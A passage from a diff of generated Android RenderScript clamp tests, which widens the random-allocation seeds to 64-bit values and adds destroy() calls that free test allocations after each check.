+        Allocation inValue = createRandomAllocation(mRS, Element.DataType.SIGNED_32, 3, 0x966882045600d2edl, false);
+        Allocation inMinValue = createRandomAllocation(mRS, Element.DataType.SIGNED_32, 3, 0xeb73e6749c7caa77l, false);
+        Allocation inMaxValue = createRandomAllocation(mRS, Element.DataType.SIGNED_32, 3, 0xeb73e6692dd99c7dl, false);
         enforceOrdering(inMinValue, inMaxValue);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_32, 3), INPUTSIZE);
@@ -2322,6 +2454,7 @@
             script.set_gAllocInMaxValue(inMaxValue);
             script.forEach_testClampInt3Int3Int3Int3(inValue, out);
             verifyResultsClampInt3Int3Int3Int3(inValue, inMinValue, inMaxValue, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testClampInt3Int3Int3Int3: " + e.toString());
         }
@@ -2331,9 +2464,13 @@
             scriptRelaxed.set_gAllocInMaxValue(inMaxValue);
             scriptRelaxed.forEach_testClampInt3Int3Int3Int3(inValue, out);
             verifyResultsClampInt3Int3Int3Int3(inValue, inMinValue, inMaxValue, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testClampInt3Int3Int3Int3: " + e.toString());
         }
+        inValue.destroy();
+        inMinValue.destroy();
+        inMaxValue.destroy();
     }
 
     private void verifyResultsClampInt3Int3Int3Int3(Allocation inValue, Allocation inMinValue, Allocation inMaxValue, Allocation out, boolean relaxed) {
@@ -2401,9 +2538,9 @@
     }
 
     private void checkClampInt4Int4Int4Int4() {
-        Allocation inValue = createRandomAllocation(mRS, Element.DataType.SIGNED_32, 4, 0xeed129d9l, false);
-        Allocation inMinValue = createRandomAllocation(mRS, Element.DataType.SIGNED_32, 4, 0xa5605bfbl, false);
-        Allocation inMaxValue = createRandomAllocation(mRS, Element.DataType.SIGNED_32, 4, 0x36bd4e01l, false);
+        Allocation inValue = createRandomAllocation(mRS, Element.DataType.SIGNED_32, 4, 0xd6abdb04eed129d9l, false);
+        Allocation inMinValue = createRandomAllocation(mRS, Element.DataType.SIGNED_32, 4, 0x5fe6bad8a5605bfbl, false);
+        Allocation inMaxValue = createRandomAllocation(mRS, Element.DataType.SIGNED_32, 4, 0x5fe6bacd36bd4e01l, false);
         enforceOrdering(inMinValue, inMaxValue);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_32, 4), INPUTSIZE);
@@ -2411,6 +2548,7 @@
             script.set_gAllocInMaxValue(inMaxValue);
             script.forEach_testClampInt4Int4Int4Int4(inValue, out);
             verifyResultsClampInt4Int4Int4Int4(inValue, inMinValue, inMaxValue, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testClampInt4Int4Int4Int4: " + e.toString());
         }
@@ -2420,9 +2558,13 @@
             scriptRelaxed.set_gAllocInMaxValue(inMaxValue);
             scriptRelaxed.forEach_testClampInt4Int4Int4Int4(inValue, out);
             verifyResultsClampInt4Int4Int4Int4(inValue, inMinValue, inMaxValue, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testClampInt4Int4Int4Int4: " + e.toString());
         }
+        inValue.destroy();
+        inMinValue.destroy();
+        inMaxValue.destroy();
     }
 
     private void verifyResultsClampInt4Int4Int4Int4(Allocation inValue, Allocation inMinValue, Allocation inMaxValue, Allocation out, boolean relaxed) {
@@ -2497,9 +2639,9 @@
     }
 
     private void checkClampUintUintUintUint() {
-        Allocation inValue = createRandomAllocation(mRS, Element.DataType.UNSIGNED_32, 1, 0xefc89475l, false);
-        Allocation inMinValue = createRandomAllocation(mRS, Element.DataType.UNSIGNED_32, 1, 0xce8b7b8fl, false);
-        Allocation inMaxValue = createRandomAllocation(mRS, Element.DataType.UNSIGNED_32, 1, 0x5fe86d95l, false);
+        Allocation inValue = createRandomAllocation(mRS, Element.DataType.UNSIGNED_32, 1, 0xd8df32b2efc89475l, false);
+        Allocation inMinValue = createRandomAllocation(mRS, Element.DataType.UNSIGNED_32, 1, 0xcf8ec8eece8b7b8fl, false);
+        Allocation inMaxValue = createRandomAllocation(mRS, Element.DataType.UNSIGNED_32, 1, 0xcf8ec8e35fe86d95l, false);
         enforceOrdering(inMinValue, inMaxValue);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_32, 1), INPUTSIZE);
@@ -2507,6 +2649,7 @@
             script.set_gAllocInMaxValue(inMaxValue);
             script.forEach_testClampUintUintUintUint(inValue, out);
             verifyResultsClampUintUintUintUint(inValue, inMinValue, inMaxValue, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testClampUintUintUintUint: " + e.toString());
         }
@@ -2516,9 +2659,13 @@
             scriptRelaxed.set_gAllocInMaxValue(inMaxValue);
             scriptRelaxed.forEach_testClampUintUintUintUint(inValue, out);
             verifyResultsClampUintUintUintUint(inValue, inMinValue, inMaxValue, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testClampUintUintUintUint: " + e.toString());
         }
+        inValue.destroy();
+        inMinValue.destroy();
+        inMaxValue.destroy();
     }
 
     private void verifyResultsClampUintUintUintUint(Allocation inValue, Allocation inMinValue, Allocation inMaxValue, Allocation out, boolean relaxed) {
@@ -2586,9 +2733,9 @@
     }
 
     private void checkClampUint2Uint2Uint2Uint2() {
-        Allocation inValue = createRandomAllocation(mRS, Element.DataType.UNSIGNED_32, 2, 0x8873ae5dl, false);
-        Allocation inMinValue = createRandomAllocation(mRS, Element.DataType.UNSIGNED_32, 2, 0xaa2a4bc7l, false);
-        Allocation inMaxValue = createRandomAllocation(mRS, Element.DataType.UNSIGNED_32, 2, 0x3b873dcdl, false);
+        Allocation inValue = createRandomAllocation(mRS, Element.DataType.UNSIGNED_32, 2, 0xaf28d478873ae5dl, false);
+        Allocation inMinValue = createRandomAllocation(mRS, Element.DataType.UNSIGNED_32, 2, 0x5bbd21aa2a4bc7l, false);
+        Allocation inMaxValue = createRandomAllocation(mRS, Element.DataType.UNSIGNED_32, 2, 0x5bbd163b873dcdl, false);
         enforceOrdering(inMinValue, inMaxValue);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_32, 2), INPUTSIZE);
@@ -2596,6 +2743,7 @@
             script.set_gAllocInMaxValue(inMaxValue);
             script.forEach_testClampUint2Uint2Uint2Uint2(inValue, out);
             verifyResultsClampUint2Uint2Uint2Uint2(inValue, inMinValue, inMaxValue, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testClampUint2Uint2Uint2Uint2: " + e.toString());
         }
@@ -2605,9 +2753,13 @@
             scriptRelaxed.set_gAllocInMaxValue(inMaxValue);
             scriptRelaxed.forEach_testClampUint2Uint2Uint2Uint2(inValue, out);
             verifyResultsClampUint2Uint2Uint2Uint2(inValue, inMinValue, inMaxValue, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testClampUint2Uint2Uint2Uint2: " + e.toString());
         }
+        inValue.destroy();
+        inMinValue.destroy();
+        inMaxValue.destroy();
     }
 
     private void verifyResultsClampUint2Uint2Uint2Uint2(Allocation inValue, Allocation inMinValue, Allocation inMaxValue, Allocation out, boolean relaxed) {
@@ -2675,9 +2827,9 @@
     }
 
     private void checkClampUint3Uint3Uint3Uint3() {
-        Allocation inValue = createRandomAllocation(mRS, Element.DataType.UNSIGNED_32, 3, 0x7e48aaa5l, false);
-        Allocation inMinValue = createRandomAllocation(mRS, Element.DataType.UNSIGNED_32, 3, 0xbcf6591fl, false);
-        Allocation inMaxValue = createRandomAllocation(mRS, Element.DataType.UNSIGNED_32, 3, 0x4e534b25l, false);
+        Allocation inValue = createRandomAllocation(mRS, Element.DataType.UNSIGNED_32, 3, 0x639fab187e48aaa5l, false);
+        Allocation inMinValue = createRandomAllocation(mRS, Element.DataType.UNSIGNED_32, 3, 0x8ddee5cebcf6591fl, false);
+        Allocation inMaxValue = createRandomAllocation(mRS, Element.DataType.UNSIGNED_32, 3, 0x8ddee5c34e534b25l, false);
         enforceOrdering(inMinValue, inMaxValue);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_32, 3), INPUTSIZE);
@@ -2685,6 +2837,7 @@
             script.set_gAllocInMaxValue(inMaxValue);
             script.forEach_testClampUint3Uint3Uint3Uint3(inValue, out);
             verifyResultsClampUint3Uint3Uint3Uint3(inValue, inMinValue, inMaxValue, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testClampUint3Uint3Uint3Uint3: " + e.toString());
         }
@@ -2694,9 +2847,13 @@
             scriptRelaxed.set_gAllocInMaxValue(inMaxValue);
             scriptRelaxed.forEach_testClampUint3Uint3Uint3Uint3(inValue, out);
             verifyResultsClampUint3Uint3Uint3Uint3(inValue, inMinValue, inMaxValue, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testClampUint3Uint3Uint3Uint3: " + e.toString());
         }
+        inValue.destroy();
+        inMinValue.destroy();
+        inMaxValue.destroy();
     }
 
     private void verifyResultsClampUint3Uint3Uint3Uint3(Allocation inValue, Allocation inMinValue, Allocation inMaxValue, Allocation out, boolean relaxed) {
@@ -2764,9 +2921,9 @@
     }
 
     private void checkClampUint4Uint4Uint4Uint4() {
-        Allocation inValue = createRandomAllocation(mRS, Element.DataType.UNSIGNED_32, 4, 0x741da6edl, false);
-        Allocation inMinValue = createRandomAllocation(mRS, Element.DataType.UNSIGNED_32, 4, 0xcfc26677l, false);
-        Allocation inMaxValue = createRandomAllocation(mRS, Element.DataType.UNSIGNED_32, 4, 0x611f587dl, false);
+        Allocation inValue = createRandomAllocation(mRS, Element.DataType.UNSIGNED_32, 4, 0xbc4cc8e9741da6edl, false);
+        Allocation inMinValue = createRandomAllocation(mRS, Element.DataType.UNSIGNED_32, 4, 0x1b620e7bcfc26677l, false);
+        Allocation inMaxValue = createRandomAllocation(mRS, Element.DataType.UNSIGNED_32, 4, 0x1b620e70611f587dl, false);
         enforceOrdering(inMinValue, inMaxValue);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_32, 4), INPUTSIZE);
@@ -2774,6 +2931,7 @@
             script.set_gAllocInMaxValue(inMaxValue);
             script.forEach_testClampUint4Uint4Uint4Uint4(inValue, out);
             verifyResultsClampUint4Uint4Uint4Uint4(inValue, inMinValue, inMaxValue, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testClampUint4Uint4Uint4Uint4: " + e.toString());
         }
@@ -2783,9 +2941,13 @@
             scriptRelaxed.set_gAllocInMaxValue(inMaxValue);
             scriptRelaxed.forEach_testClampUint4Uint4Uint4Uint4(inValue, out);
             verifyResultsClampUint4Uint4Uint4Uint4(inValue, inMinValue, inMaxValue, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testClampUint4Uint4Uint4Uint4: " + e.toString());
         }
+        inValue.destroy();
+        inMinValue.destroy();
+        inMaxValue.destroy();
     }
 
     private void verifyResultsClampUint4Uint4Uint4Uint4(Allocation inValue, Allocation inMinValue, Allocation inMaxValue, Allocation out, boolean relaxed) {
@@ -2860,9 +3022,9 @@
     }
 
     private void checkClampLongLongLongLong() {
-        Allocation inValue = createRandomAllocation(mRS, Element.DataType.SIGNED_64, 1, 0x31c9c41dl, false);
-        Allocation inMinValue = createRandomAllocation(mRS, Element.DataType.SIGNED_64, 1, 0x24ef4907l, false);
-        Allocation inMaxValue = createRandomAllocation(mRS, Element.DataType.SIGNED_64, 1, 0xb64c3b0dl, false);
+        Allocation inValue = createRandomAllocation(mRS, Element.DataType.SIGNED_64, 1, 0x63fd360531c9c41dl, false);
+        Allocation inMinValue = createRandomAllocation(mRS, Element.DataType.SIGNED_64, 1, 0x9d04d1824ef4907l, false);
+        Allocation inMaxValue = createRandomAllocation(mRS, Element.DataType.SIGNED_64, 1, 0x9d04d0cb64c3b0dl, false);
         enforceOrdering(inMinValue, inMaxValue);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_64, 1), INPUTSIZE);
@@ -2870,6 +3032,7 @@
             script.set_gAllocInMaxValue(inMaxValue);
             script.forEach_testClampLongLongLongLong(inValue, out);
             verifyResultsClampLongLongLongLong(inValue, inMinValue, inMaxValue, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testClampLongLongLongLong: " + e.toString());
         }
@@ -2879,9 +3042,13 @@
             scriptRelaxed.set_gAllocInMaxValue(inMaxValue);
             scriptRelaxed.forEach_testClampLongLongLongLong(inValue, out);
             verifyResultsClampLongLongLongLong(inValue, inMinValue, inMaxValue, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testClampLongLongLongLong: " + e.toString());
         }
+        inValue.destroy();
+        inMinValue.destroy();
+        inMaxValue.destroy();
     }
 
     private void verifyResultsClampLongLongLongLong(Allocation inValue, Allocation inMinValue, Allocation inMaxValue, Allocation out, boolean relaxed) {
@@ -2949,9 +3116,9 @@
     }
 
     private void checkClampLong2Long2Long2Long2() {
-        Allocation inValue = createRandomAllocation(mRS, Element.DataType.SIGNED_64, 2, 0xc2b0f12dl, false);
-        Allocation inMinValue = createRandomAllocation(mRS, Element.DataType.SIGNED_64, 2, 0x4a3f8937l, false);
-        Allocation inMaxValue = createRandomAllocation(mRS, Element.DataType.SIGNED_64, 2, 0xdb9c7b3dl, false);
+        Allocation inValue = createRandomAllocation(mRS, Element.DataType.SIGNED_64, 2, 0xccbae869c2b0f12dl, false);
+        Allocation inMinValue = createRandomAllocation(mRS, Element.DataType.SIGNED_64, 2, 0xe4c3844f4a3f8937l, false);
+        Allocation inMaxValue = createRandomAllocation(mRS, Element.DataType.SIGNED_64, 2, 0xe4c38443db9c7b3dl, false);
         enforceOrdering(inMinValue, inMaxValue);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_64, 2), INPUTSIZE);
@@ -2959,6 +3126,7 @@
             script.set_gAllocInMaxValue(inMaxValue);
             script.forEach_testClampLong2Long2Long2Long2(inValue, out);
             verifyResultsClampLong2Long2Long2Long2(inValue, inMinValue, inMaxValue, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testClampLong2Long2Long2Long2: " + e.toString());
         }
@@ -2968,9 +3136,13 @@
             scriptRelaxed.set_gAllocInMaxValue(inMaxValue);
             scriptRelaxed.forEach_testClampLong2Long2Long2Long2(inValue, out);
             verifyResultsClampLong2Long2Long2Long2(inValue, inMinValue, inMaxValue, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testClampLong2Long2Long2Long2: " + e.toString());
         }
+        inValue.destroy();
+        inMinValue.destroy();
+        inMaxValue.destroy();
     }
 
     private void verifyResultsClampLong2Long2Long2Long2(Allocation inValue, Allocation inMinValue, Allocation inMaxValue, Allocation out, boolean relaxed) {
@@ -3038,9 +3210,9 @@
     }
 
     private void checkClampLong3Long3Long3Long3() {
-        Allocation inValue = createRandomAllocation(mRS, Element.DataType.SIGNED_64, 3, 0xb885ed75l, false);
-        Allocation inMinValue = createRandomAllocation(mRS, Element.DataType.SIGNED_64, 3, 0x5d0b968fl, false);
-        Allocation inMaxValue = createRandomAllocation(mRS, Element.DataType.SIGNED_64, 3, 0xee688895l, false);
+        Allocation inValue = createRandomAllocation(mRS, Element.DataType.SIGNED_64, 3, 0x2568063ab885ed75l, false);
+        Allocation inMinValue = createRandomAllocation(mRS, Element.DataType.SIGNED_64, 3, 0x7246acfc5d0b968fl, false);
+        Allocation inMaxValue = createRandomAllocation(mRS, Element.DataType.SIGNED_64, 3, 0x7246acf0ee688895l, false);
         enforceOrdering(inMinValue, inMaxValue);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_64, 3), INPUTSIZE);
@@ -3048,6 +3220,7 @@
             script.set_gAllocInMaxValue(inMaxValue);
             script.forEach_testClampLong3Long3Long3Long3(inValue, out);
             verifyResultsClampLong3Long3Long3Long3(inValue, inMinValue, inMaxValue, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testClampLong3Long3Long3Long3: " + e.toString());
         }
@@ -3057,9 +3230,13 @@
             scriptRelaxed.set_gAllocInMaxValue(inMaxValue);
             scriptRelaxed.forEach_testClampLong3Long3Long3Long3(inValue, out);
             verifyResultsClampLong3Long3Long3Long3(inValue, inMinValue, inMaxValue, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testClampLong3Long3Long3Long3: " + e.toString());
         }
+        inValue.destroy();
+        inMinValue.destroy();
+        inMaxValue.destroy();
     }
 
     private void verifyResultsClampLong3Long3Long3Long3(Allocation inValue, Allocation inMinValue, Allocation inMaxValue, Allocation out, boolean relaxed) {
@@ -3127,9 +3304,9 @@
     }
 
     private void checkClampLong4Long4Long4Long4() {
-        Allocation inValue = createRandomAllocation(mRS, Element.DataType.SIGNED_64, 4, 0xae5ae9bdl, false);
-        Allocation inMinValue = createRandomAllocation(mRS, Element.DataType.SIGNED_64, 4, 0x6fd7a3e7l, false);
-        Allocation inMaxValue = createRandomAllocation(mRS, Element.DataType.SIGNED_64, 4, 0x13495edl, false);
+        Allocation inValue = createRandomAllocation(mRS, Element.DataType.SIGNED_64, 4, 0x7e15240bae5ae9bdl, false);
+        Allocation inMinValue = createRandomAllocation(mRS, Element.DataType.SIGNED_64, 4, 0xffc9d5a96fd7a3e7l, false);
+        Allocation inMaxValue = createRandomAllocation(mRS, Element.DataType.SIGNED_64, 4, 0xffc9d59e013495edl, false);
         enforceOrdering(inMinValue, inMaxValue);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_64, 4), INPUTSIZE);
@@ -3137,6 +3314,7 @@
             script.set_gAllocInMaxValue(inMaxValue);
             script.forEach_testClampLong4Long4Long4Long4(inValue, out);
             verifyResultsClampLong4Long4Long4Long4(inValue, inMinValue, inMaxValue, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testClampLong4Long4Long4Long4: " + e.toString());
         }
@@ -3146,9 +3324,13 @@
             scriptRelaxed.set_gAllocInMaxValue(inMaxValue);
             scriptRelaxed.forEach_testClampLong4Long4Long4Long4(inValue, out);
             verifyResultsClampLong4Long4Long4Long4(inValue, inMinValue, inMaxValue, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testClampLong4Long4Long4Long4: " + e.toString());
         }
+        inValue.destroy();
+        inMinValue.destroy();
+        inMaxValue.destroy();
     }
 
     private void verifyResultsClampLong4Long4Long4Long4(Allocation inValue, Allocation inMinValue, Allocation inMaxValue, Allocation out, boolean relaxed) {
@@ -3223,9 +3405,9 @@
     }
 
     private void checkClampUlongUlongUlongUlong() {
-        Allocation inValue = createRandomAllocation(mRS, Element.DataType.UNSIGNED_64, 1, 0x749bf4c5l, false);
-        Allocation inMinValue = createRandomAllocation(mRS, Element.DataType.UNSIGNED_64, 1, 0xa8ca97fl, false);
-        Allocation inMaxValue = createRandomAllocation(mRS, Element.DataType.UNSIGNED_64, 1, 0x9be99b85l, false);
+        Allocation inValue = createRandomAllocation(mRS, Element.DataType.UNSIGNED_64, 1, 0x2b378139749bf4c5l, false);
+        Allocation inMinValue = createRandomAllocation(mRS, Element.DataType.UNSIGNED_64, 1, 0x75ac5050a8ca97fl, false);
+        Allocation inMaxValue = createRandomAllocation(mRS, Element.DataType.UNSIGNED_64, 1, 0x75ac4f99be99b85l, false);
         enforceOrdering(inMinValue, inMaxValue);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_64, 1), INPUTSIZE);
@@ -3233,6 +3415,7 @@
             script.set_gAllocInMaxValue(inMaxValue);
             script.forEach_testClampUlongUlongUlongUlong(inValue, out);
             verifyResultsClampUlongUlongUlongUlong(inValue, inMinValue, inMaxValue, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testClampUlongUlongUlongUlong: " + e.toString());
         }
@@ -3242,9 +3425,13 @@
             scriptRelaxed.set_gAllocInMaxValue(inMaxValue);
             scriptRelaxed.forEach_testClampUlongUlongUlongUlong(inValue, out);
             verifyResultsClampUlongUlongUlongUlong(inValue, inMinValue, inMaxValue, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testClampUlongUlongUlongUlong: " + e.toString());
         }
+        inValue.destroy();
+        inMinValue.destroy();
+        inMaxValue.destroy();
     }
 
     private void verifyResultsClampUlongUlongUlongUlong(Allocation inValue, Allocation inMinValue, Allocation inMaxValue, Allocation out, boolean relaxed) {
@@ -3312,9 +3499,9 @@
     }
 
     private void checkClampUlong2Ulong2Ulong2Ulong2() {
-        Allocation inValue = createRandomAllocation(mRS, Element.DataType.UNSIGNED_64, 2, 0xa09bb299l, false);
-        Allocation inMinValue = createRandomAllocation(mRS, Element.DataType.UNSIGNED_64, 2, 0xfe45623bl, false);
-        Allocation inMaxValue = createRandomAllocation(mRS, Element.DataType.UNSIGNED_64, 2, 0x8fa25441l, false);
+        Allocation inValue = createRandomAllocation(mRS, Element.DataType.UNSIGNED_64, 2, 0xa8c7fb17a09bb299l, false);
+        Allocation inMinValue = createRandomAllocation(mRS, Element.DataType.UNSIGNED_64, 2, 0x14e3c8dffe45623bl, false);
+        Allocation inMaxValue = createRandomAllocation(mRS, Element.DataType.UNSIGNED_64, 2, 0x14e3c8d48fa25441l, false);
         enforceOrdering(inMinValue, inMaxValue);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_64, 2), INPUTSIZE);
@@ -3322,6 +3509,7 @@
             script.set_gAllocInMaxValue(inMaxValue);
             script.forEach_testClampUlong2Ulong2Ulong2Ulong2(inValue, out);
             verifyResultsClampUlong2Ulong2Ulong2Ulong2(inValue, inMinValue, inMaxValue, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testClampUlong2Ulong2Ulong2Ulong2: " + e.toString());
         }
@@ -3331,9 +3519,13 @@
             scriptRelaxed.set_gAllocInMaxValue(inMaxValue);
             scriptRelaxed.forEach_testClampUlong2Ulong2Ulong2Ulong2(inValue, out);
             verifyResultsClampUlong2Ulong2Ulong2Ulong2(inValue, inMinValue, inMaxValue, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testClampUlong2Ulong2Ulong2Ulong2: " + e.toString());
         }
+        inValue.destroy();
+        inMinValue.destroy();
+        inMaxValue.destroy();
     }
 
     private void verifyResultsClampUlong2Ulong2Ulong2Ulong2(Allocation inValue, Allocation inMinValue, Allocation inMaxValue, Allocation out, boolean relaxed) {
@@ -3401,9 +3593,9 @@
     }
 
     private void checkClampUlong3Ulong3Ulong3Ulong3() {
-        Allocation inValue = createRandomAllocation(mRS, Element.DataType.UNSIGNED_64, 3, 0xbd1e1f75l, false);
-        Allocation inMinValue = createRandomAllocation(mRS, Element.DataType.UNSIGNED_64, 3, 0x4cfc4c8fl, false);
-        Allocation inMaxValue = createRandomAllocation(mRS, Element.DataType.UNSIGNED_64, 3, 0xde593e95l, false);
+        Allocation inValue = createRandomAllocation(mRS, Element.DataType.UNSIGNED_64, 3, 0x722c3c9fbd1e1f75l, false);
+        Allocation inMinValue = createRandomAllocation(mRS, Element.DataType.UNSIGNED_64, 3, 0x20d03c8e4cfc4c8fl, false);
+        Allocation inMaxValue = createRandomAllocation(mRS, Element.DataType.UNSIGNED_64, 3, 0x20d03c82de593e95l, false);
         enforceOrdering(inMinValue, inMaxValue);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_64, 3), INPUTSIZE);
@@ -3411,6 +3603,7 @@
             script.set_gAllocInMaxValue(inMaxValue);
             script.forEach_testClampUlong3Ulong3Ulong3Ulong3(inValue, out);
             verifyResultsClampUlong3Ulong3Ulong3Ulong3(inValue, inMinValue, inMaxValue, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testClampUlong3Ulong3Ulong3Ulong3: " + e.toString());
         }
@@ -3420,9 +3613,13 @@
             scriptRelaxed.set_gAllocInMaxValue(inMaxValue);
             scriptRelaxed.forEach_testClampUlong3Ulong3Ulong3Ulong3(inValue, out);
             verifyResultsClampUlong3Ulong3Ulong3Ulong3(inValue, inMinValue, inMaxValue, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testClampUlong3Ulong3Ulong3Ulong3: " + e.toString());
         }
+        inValue.destroy();
+        inMinValue.destroy();
+        inMaxValue.destroy();
     }
 
     private void verifyResultsClampUlong3Ulong3Ulong3Ulong3(Allocation inValue, Allocation inMinValue, Allocation inMaxValue, Allocation out, boolean relaxed) {
@@ -3490,9 +3687,9 @@
     }
 
     private void checkClampUlong4Ulong4Ulong4Ulong4() {
-        Allocation inValue = createRandomAllocation(mRS, Element.DataType.UNSIGNED_64, 4, 0xd9a08c51l, false);
-        Allocation inMinValue = createRandomAllocation(mRS, Element.DataType.UNSIGNED_64, 4, 0x9bb336e3l, false);
-        Allocation inMaxValue = createRandomAllocation(mRS, Element.DataType.UNSIGNED_64, 4, 0x2d1028e9l, false);
+        Allocation inValue = createRandomAllocation(mRS, Element.DataType.UNSIGNED_64, 4, 0x3b907e27d9a08c51l, false);
+        Allocation inMinValue = createRandomAllocation(mRS, Element.DataType.UNSIGNED_64, 4, 0x2cbcb03c9bb336e3l, false);
+        Allocation inMaxValue = createRandomAllocation(mRS, Element.DataType.UNSIGNED_64, 4, 0x2cbcb0312d1028e9l, false);
         enforceOrdering(inMinValue, inMaxValue);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_64, 4), INPUTSIZE);
@@ -3500,6 +3697,7 @@
             script.set_gAllocInMaxValue(inMaxValue);
             script.forEach_testClampUlong4Ulong4Ulong4Ulong4(inValue, out);
             verifyResultsClampUlong4Ulong4Ulong4Ulong4(inValue, inMinValue, inMaxValue, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testClampUlong4Ulong4Ulong4Ulong4: " + e.toString());
         }
@@ -3509,9 +3707,13 @@
             scriptRelaxed.set_gAllocInMaxValue(inMaxValue);
             scriptRelaxed.forEach_testClampUlong4Ulong4Ulong4Ulong4(inValue, out);
             verifyResultsClampUlong4Ulong4Ulong4Ulong4(inValue, inMinValue, inMaxValue, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testClampUlong4Ulong4Ulong4Ulong4: " + e.toString());
         }
+        inValue.destroy();
+        inMinValue.destroy();
+        inMaxValue.destroy();
     }
 
     private void verifyResultsClampUlong4Ulong4Ulong4Ulong4(Allocation inValue, Allocation inMinValue, Allocation inMaxValue, Allocation out, boolean relaxed) {
@@ -3579,9 +3781,9 @@
     }
 
     private void checkClampChar2CharCharChar2() {
-        Allocation inValue = createRandomAllocation(mRS, Element.DataType.SIGNED_8, 2, 0x7c57a5d1l, false);
-        Allocation inMinValue = createRandomAllocation(mRS, Element.DataType.SIGNED_8, 1, 0xc3b7db63l, false);
-        Allocation inMaxValue = createRandomAllocation(mRS, Element.DataType.SIGNED_8, 1, 0x5514cd69l, false);
+        Allocation inValue = createRandomAllocation(mRS, Element.DataType.SIGNED_8, 2, 0xd6884bbb7c57a5d1l, false);
+        Allocation inMinValue = createRandomAllocation(mRS, Element.DataType.SIGNED_8, 1, 0x3bf8830cc3b7db63l, false);
+        Allocation inMaxValue = createRandomAllocation(mRS, Element.DataType.SIGNED_8, 1, 0x3bf883015514cd69l, false);
         enforceOrdering(inMinValue, inMaxValue);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_8, 2), INPUTSIZE);
@@ -3589,6 +3791,7 @@
             script.set_gAllocInMaxValue(inMaxValue);
             script.forEach_testClampChar2CharCharChar2(inValue, out);
             verifyResultsClampChar2CharCharChar2(inValue, inMinValue, inMaxValue, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testClampChar2CharCharChar2: " + e.toString());
         }
@@ -3598,9 +3801,13 @@
             scriptRelaxed.set_gAllocInMaxValue(inMaxValue);
             scriptRelaxed.forEach_testClampChar2CharCharChar2(inValue, out);
             verifyResultsClampChar2CharCharChar2(inValue, inMinValue, inMaxValue, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testClampChar2CharCharChar2: " + e.toString());
         }
+        inValue.destroy();
+        inMinValue.destroy();
+        inMaxValue.destroy();
     }
 
     private void verifyResultsClampChar2CharCharChar2(Allocation inValue, Allocation inMinValue, Allocation inMaxValue, Allocation out, boolean relaxed) {
